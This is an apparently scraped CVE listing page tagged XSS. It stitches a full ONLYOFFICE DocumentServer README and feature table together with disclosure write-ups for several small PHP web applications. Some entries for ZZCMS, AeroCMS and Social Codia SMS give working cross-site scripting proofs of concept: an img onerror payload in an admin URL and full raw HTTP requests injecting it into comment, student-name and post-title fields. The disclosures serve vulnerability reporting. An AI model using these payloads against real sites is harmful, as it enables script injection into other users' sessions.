A cross-site scripting (XSS) vulnerability in ONLYOFFICE Document Server Example before v7.0.0 allows remote attackers inject arbitrary HTML or JavaScript through /example/editor.

![License](https://camo.githubusercontent.com/1ba1bcada55e01a77a091378cf9e310b9ce0731398e46c0564d5e1c9c8649856/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d474e552532304147504c25323056332d677265656e2e7376673f7374796c653d666c6174) ![Release](https://camo.githubusercontent.com/20564517469ab8bfb943268c72c7aeffee17d570dd229555b7a08092c82eeeee/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f52656c656173652d76372e302e302d626c75652e7376673f7374796c653d666c6174)

**Overview**

ONLYOFFICE Document Server is a free collaborative online office suite comprising viewers and editors for texts, spreadsheets and presentations, fully compatible with Office Open XML formats: .docx, .xlsx, .pptx and enabling collaborative editing in real time.

Starting from version 6.0, Document Server is distributed under a new name - ONLYOFFICE Docs.

ONLYOFFICE Docs can be used as a part of ONLYOFFICE Workspace or with third-party sync&share solutions (e.g. Nextcloud, ownCloud, Seafile) to enable collaborative editing within their interface.

It has three editions - Community, Enterprise, and Developer.

**Components**

ONLYOFFICE Document Server contains the following components:

*   server - the backend server software layer which is the base for all other components of ONLYOFFICE Document Server.
*   core - server core components of ONLYOFFICE Document Server which enable the conversion between the most popular office document formats (DOC, DOCX, ODT, RTF, TXT, PDF, HTML, EPUB, XPS, DjVu, XLS, XLSX, ODS, CSV, PPT, PPTX, ODP).
*   sdkjs - JavaScript SDK for the ONLYOFFICE Document Server which contains API for all the included components client-side interaction.
*   web-apps - the frontend for ONLYOFFICE Document Server which builds the program interface and allows the user create, edit, save and export text, spreadsheet and presentation documents using the common interface of a document editor.
*   dictionaries - the dictionaries of various languages used for spellchecking in ONLYOFFICE Document Server.
*   sdkjs-plugins - the add-ons for ONLYOFFICE Document Server used for the developers to add specific functions to the editors which are not directly related to the OOXML format.

**Functionality**

ONLYOFFICE Document Server includes the following editors:

*   ONLYOFFICE Document Editor
*   ONLYOFFICE Spreadsheet Editor
*   ONLYOFFICE Presentation Editor

The editors allow you to create, edit, save and export text, spreadsheet and presentation documents and additionally have the features:

*   Collaborative editing
*   Hieroglyph support
*   Reviewing
*   Spell-checking

**ONLYOFFICE Document Server editions**

ONLYOFFICE offers different versions of its online document editors that can be deployed on your own servers.

ONLYOFFICE Docs (packaged as Document Server):

*   Community Edition (`onlyoffice-documentserver` package)
*   Enterprise Edition (`onlyoffice-documentserver-ee` package)
*   Developer Edition (`onlyoffice-documentserver-de` package)

The table below will help you to make the right choice.

Pricing and licensing

Community Edition

Enterprise Edition

Developer Edition

Get it now

Start Free Trial

Start Free Trial

Cost

FREE

Go to the pricing page

Go to the pricing page

Simultaneous connections

up to 20 maximum

As in chosen pricing plan

As in chosen pricing plan

Number of users

up to 20 recommended

As in chosen pricing plan

As in chosen pricing plan

Clusterization

\-

+

+

License

GNU AGPL v.3

Proprietary

Proprietary

**Support**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Documentation

Help Center

Help Center

Help Center

Standard support

GitHub or paid

One year support included

One year support included

Premium support

Contact Us

Contact Us

Contact Us

**Services**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Conversion Service

+

+

+

Document Builder Service

+

+

+

**Interface**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Tabbed interface

+

+

+

Dark theme

+

+

+

125%, 150%, 175%, 200% scaling

+

+

+

White label

\-

\-

+

Integrated test example (node.js)

+

+

+

Mobile web editors

\-

+\*

+\*

**Plugins & Macros**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Plugins

+

+

+

Macros

+

+

+

**Collaborative capabilities**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Two co-editing modes

+

+

+

Comments

+

+

+

Built-in chat

+

+

+

Review and tracking changes

+

+

+

Display modes of tracking changes

+

+

+

Version history

+

+

+

**Document Editor features**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Font and paragraph formatting

+

+

+

Object insertion

+

+

+

Adding Content control

+

+

+

Editing Content control

+

+

+

Layout tools

+

+

+

Table of contents

+

+

+

Navigation panel

+

+

+

Mail Merge

+

+

+

Comparing Documents

+

+

+

**Spreadsheet Editor features**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Font and paragraph formatting

+

+

+

Object insertion

+

+

+

Functions, formulas, equations

+

+

+

Table templates

+

+

+

Pivot tables

+

+

+

Data validation

+

+

+

Conditional formatting

+

+

+

Sparklines

+

+

+

Sheet Views

+

+

+

**Presentation Editor features**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Font and paragraph formatting

+

+

+

Object insertion

+

+

+

Transitions

+

+

+

Presenter mode

+

+

+

Notes

+

+

+

**Form creator features**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

Adding form fields

+

+

+

Form preview

+

+

+

Saving as PDF

+

+

+

**Security features**

**Community Edition**

**Enterprise Edition**

**Developer Edition**

End-to-end encryption via Private Rooms

+

+

\-

Get it now

Start Free Trial

Start Free Trial

\* If supported by DMS

**Documentation**

The easiest way to install ONLYOFFICE Document Server is to use the Docker image. You can also install it from the repository or compile it from source code. The following documentation is available to the community depending on the way you choose:

*   Compiling ONLYOFFICE Document Server for a local server
*   Installing ONLYOFFICE Document Server Linux version
*   Installing ONLYOFFICE Document Server Windows version
*   Installing ONLYOFFICE Document Server Docker version

**ONLYOFFICE Workspace**

ONLYOFFICE Docs packaged as Document Server is a part of **ONLYOFFICE Workspace** that also includes ONLYOFFICE Groups packaged as Community Server, Mail Server, Control Panel and Talk (instant messaging app).

It can also be integrated with third-party sync and share solutions.

**Project information**

Official website: https://www.onlyoffice.com

Code repository: https://github.com/ONLYOFFICE/DocumentServer

Docker Image: https://github.com/ONLYOFFICE/Docker-DocumentServer

License: GNU AGPL v3.0

ONLYOFFICE Docs on official website: https://www.onlyoffice.com/office-suite.aspx

ONLYOFFICE Workspace on official website: https://www.onlyoffice.com/workspace.aspx

List of available integrations: https://www.onlyoffice.com/all-connectors.aspx

**User Feedback and Support**

If you have any problems with or questions about ONLYOFFICE Document Server, please visit our official forum to find answers to your questions: forum.onlyoffice.com or you can ask and answer ONLYOFFICE development questions on Stack Overflow.

CVE-2022-24229: GitHub - ONLYOFFICE/DocumentServer: ONLYOFFICE Document Server is an online office suite comprising viewers and editors for texts, spreadsheets and presentations, fully compatible with Office Open XML

An issue was discovered in ZZCMS 2021. There is a cross-site scripting (XSS) vulnerability in ad_manage.php.

**ZZCMS2021\_XSS\_1****PoC by rerce&rpsate****ZZCMS the lastest version download page :**

http://www.zzcms.net/about/6.html

software link: https://github.com/Boomingjacob/ZZCMS/raw/main/zzcms2021.zip

**Environmental requirements**

PHP version > = 4.3.0

Mysql version>=4.0.0

**vulnerability code:**

In the file `admin/ad_manage.php` line 18.The variable `$keyword` can be controlled by the `$_REQUEST['keyword']`,then output on line 32 and it not be filtered.

![微信图片_20220119232830](https://user-images.githubusercontent.com/78201553/150162138-4e447143-512b-4a2e-a955-4dee79965266.png)

POC:

1.  First log in to the administrator account.
2.  Visit `http://your-ip/admin/ad_manage.php?keyword=a"><img src=1 onerror='alert(1)'/><"`.
3.  you will see a popup.

![微信图片_20220119232835](https://user-images.githubusercontent.com/78201553/150162365-8362a1ee-aba2-4437-afaf-88ed751d5090.png)

CVE-2021-46437: ZZCMS2021 has a xss vulnerability · Issue #2 · xunyang1/ZZCMS

Social Codia SMS v1 was discovered to contain an arbitrary file upload vulnerability via addteacher.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

CVE-2022-27349: GitHub - D4rkP0w4r/sms-Unrestricted-File-Upload-RCE-POC

Ecommerce-Website v1 was discovered to contain an arbitrary file upload vulnerability via /customer_register.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

CVE-2022-27357: CVEs/POC.md at main · D4rkP0w4r/CVEs

Musical World v1 was discovered to contain an arbitrary file upload vulnerability via uploaded_songs.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

CVE-2022-27064: GitHub - D4rkP0w4r/Musical-World-Unrestricted-File-Upload-RCE-POC

AeroCMS v0.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via view_all_comments.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Comments text field.

**AeroCMS-Comment-Stored\_XSS-POC**

*   `Note` => Don't need register or login account
*   `Description` => `Stored_XSS` at comment box

**Step to Reproduct**

*   Click `Read More` -> input payload `<img/src/onerror=prompt(10)>` at `Author` -> click `Submit` button

**Exploit****Vulnerable Code****POC**

*   `Injection Point`

comment\_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment\_email=bin%40gmail.com&comment\_content=hacked&create\_comment=

*   `Request`

POST /AeroCMS/post.php?p\_id=36 HTTP/1.1
Host: localhost:8080
Content-Length: 126
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/AeroCMS/post.php?p\_id=36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=loqbt1ibs376hge1s415srq441
Connection: close

comment\_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment\_email=bin%40gmail.com&comment\_content=hacked&create\_comment=

`POC VIDEO` https://drive.google.com/file/d/1GxOyX1JkG0trfdaCLfe06TR6WLIGoUXE/view?usp=sharing

CVE-2022-27063: GitHub - D4rkP0w4r/AeroCMS-Comment-Stored_XSS-Poc

Social Codia SMS v1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via add_post.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Post Title text field.

**sms-Add\_Student-Stored\_XSS-POC**

Description => Stored\_XSS at `Add Student`

**Step to Reproduct**

*   Login to admin -> `Students` -> `Add Student` -> input payload `<img/src/onerror=prompt(10)>` at `Enter Name`

**Exploit**

![image](https://user-images.githubusercontent.com/79050415/158715096-7fe6c540-b7cb-4293-b60f-f0e16b6d445c.png)

**Vulnerable Code**

![image](https://user-images.githubusercontent.com/79050415/158716291-52718f20-b719-44ef-a9ca-21b00e82b2de.png)

*   When inserting into the database, the input is not filtered out bad characters

**POC**

*   `Injection Point`

\------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="name"

<img/src/onerror=prompt(10)>

*   `Request`

POST /sms/admin/addstudent.php HTTP/1.1
Host: localhost:8080
Content-Length: 992
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvKt9LM2RnnkuA0K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/sms/admin/addstudent.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=p440fhd7svqid5f063i3epg29k
Connection: close

------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="image"; filename="car.png"
Content-Type: application/octet-stream


------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="rollno"

1234567
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="name"

<img/src/onerror=prompt(10)>
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="contact"

123456
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="standerd"

1
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="city"

Newyork
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="email"

haha@gmail.com
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="gender"

male
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="submit"

------WebKitFormBoundaryAvKt9LM2RnnkuA0K--

`POC VIDEO` https://drive.google.com/file/d/1PLRmIi7EBMAXkLMUhUy09PVph1CW6otF/view?usp=sharing

CVE-2022-27348: GitHub - D4rkP0w4r/sms-Add_Student-Stored_XSS-POC

Bootstrap v3.1.11 and v3.3.7 was discovered to contain a cross-site scripting (XSS) vulnerability via the Title parameter in /vendor/views/add_product.php.

CVE-2022-26624

AeroCMS v0.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via add_post.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Post Title text field.

**AeroCMS-Add\_Posts-Stored\_XSS-Poc**

*   Description => Stored\_XSS at `Post Title`

**Step to Reproduct**

*   Login to admin panel -> `Posts` -> `Add Posts` -> `Post Title` -> inject payload `<img/src/onerror=prompt(10)>` -> The XSS will trigger when clicked `Edit Post` button

**Exploit**

![image](https://user-images.githubusercontent.com/79050415/156887124-fb539ece-2ad1-4ebd-9ce9-6fcfd688b36e.png) ![image](https://user-images.githubusercontent.com/79050415/156879926-c7009ae0-54b5-4b5c-a49f-6c693ce8f2e5.png)

**Vulnerable Code**

**POC**

*   `Injection Point`

\-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_title"

<img/src/onerror=prompt(10)>

*   `Request`

Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------85448121341942511952219062291
Content-Length: 1101
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/AeroCMS/admin/posts.php?source=edit\_post&p\_id=26
Cookie: Phpstorm-6b6ba5ee=79a50460-3b02-4cde-a5a4-ff6883c16a7b; PHPSESSID=ndh6ks953tmha1ps8cfp4bplf2
Upgrade-Insecure-Requests: 1

-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_title"

<img/src/onerror=prompt(10)>
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_category\_id"

1
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_user"

admin
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_status"

published
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_tags"

1
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post\_content"

<p>111</p>
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="update\_post"

Edit Post
-----------------------------85448121341942511952219062291\--

`POC VIDEO` https://drive.google.com/file/d/1kMGPBLKgefvKZj34QxDlPTxXdcT0kRR\_/view?usp=sharing

CVE-2022-27062: GitHub - D4rkP0w4r/AeroCMS-Add_Posts-Stored_XSS-Poc

Zoho ManageEngine ADSelfService Plus before 6121 allows XSS via the welcome name attribute to the Reset Password, Unlock Account, or User Must Change Password screen.

**Unified endpoint  
management and security****Desktops | Laptops | Servers | Mobile devices |  
Browsers**

Manage and secure desktops, servers, laptops, mobile devices, and web browsers.

Learn more

Tag

#xss